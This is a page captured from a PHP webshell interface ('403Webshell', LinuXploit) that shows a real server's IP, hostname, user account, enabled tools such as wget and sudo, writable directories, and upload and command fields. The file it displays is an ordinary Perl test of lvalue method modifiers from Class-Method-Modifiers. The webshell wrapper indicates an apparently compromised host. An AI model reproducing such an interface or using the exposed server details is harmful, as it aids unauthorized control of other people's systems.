403Webshell
Server IP : 104.21.13.164  /  Your IP : 216.73.216.44
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Class-Method-Modifiers/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Class-Method-Modifiers/t/140-lvalue.t
use strict;
use warnings;
use Test::More 0.88;
use if $ENV{AUTHOR_TESTING}, 'Test::Warnings';
use Test::Fatal;

{
  package WithLvalue;
  my $f;
  sub lvalue_method :lvalue { $f }

  sub other_method { 1 }

  my @array;
  sub array_lvalue :lvalue { @array }
}

{
  package Around;
  use Class::Method::Modifiers;
  our @ISA = qw(WithLvalue);

  around lvalue_method => sub :lvalue {
    my $orig = shift;
    $orig->(@_);
  };

  my $d;
  around other_method => sub :lvalue {
    $d;
  };

  around array_lvalue => sub :lvalue {
    $_[0]->(@_[1..$#_]);
  };
}

Around->lvalue_method = 1;
is(Around->lvalue_method, 1, 'around on an lvalue attribute is maintained');

Around->other_method = 2;
is(Around->other_method, 2, 'around adding an lvalue attribute works');

(Around->array_lvalue) = (1,2);
is_deeply([WithLvalue->array_lvalue], [1,2], 'around on array lvalue attribute works');

{
  package Before;
  use Class::Method::Modifiers;
  our @ISA = qw(WithLvalue);

  before lvalue_method => sub {};
}

Before->lvalue_method = 3;
is(Before->lvalue_method, 3, 'before maintains lvalue attribute');

{
  package After;
  use Class::Method::Modifiers;
  our @ISA = qw(WithLvalue);

  after lvalue_method => sub {};

  after array_lvalue => sub {};
}

After->lvalue_method = 4;
is(After->lvalue_method, 4, 'after maintains lvalue attribute');

{
  local $TODO = "can't apply after to array lvalue method";
  is exception { (After->array_lvalue) = (3,4) }, undef,
    'assigning to array lvalue attribute causes no errors';
  is_deeply([After->array_lvalue], [3,4],
    'after array lvalue attribute sets values');
}

{
  package LvalueWithProto;
  use Class::Method::Modifiers;

  my $f;
  sub lvalue_proto_method ($) :lvalue { $f }

  local $SIG{__WARN__} = sub {};
  after lvalue_proto_method => sub {};
}

is exception { LvalueWithProto->lvalue_proto_method = 4 }, undef,
  'after maintains lvalue attribute with prototype present';
is(LvalueWithProto->lvalue_proto_method, 4,
  'after with lvalue and prototype correctly assigns');

done_testing;

Youez - 2016 - github.com/yon3zu
LinuXploit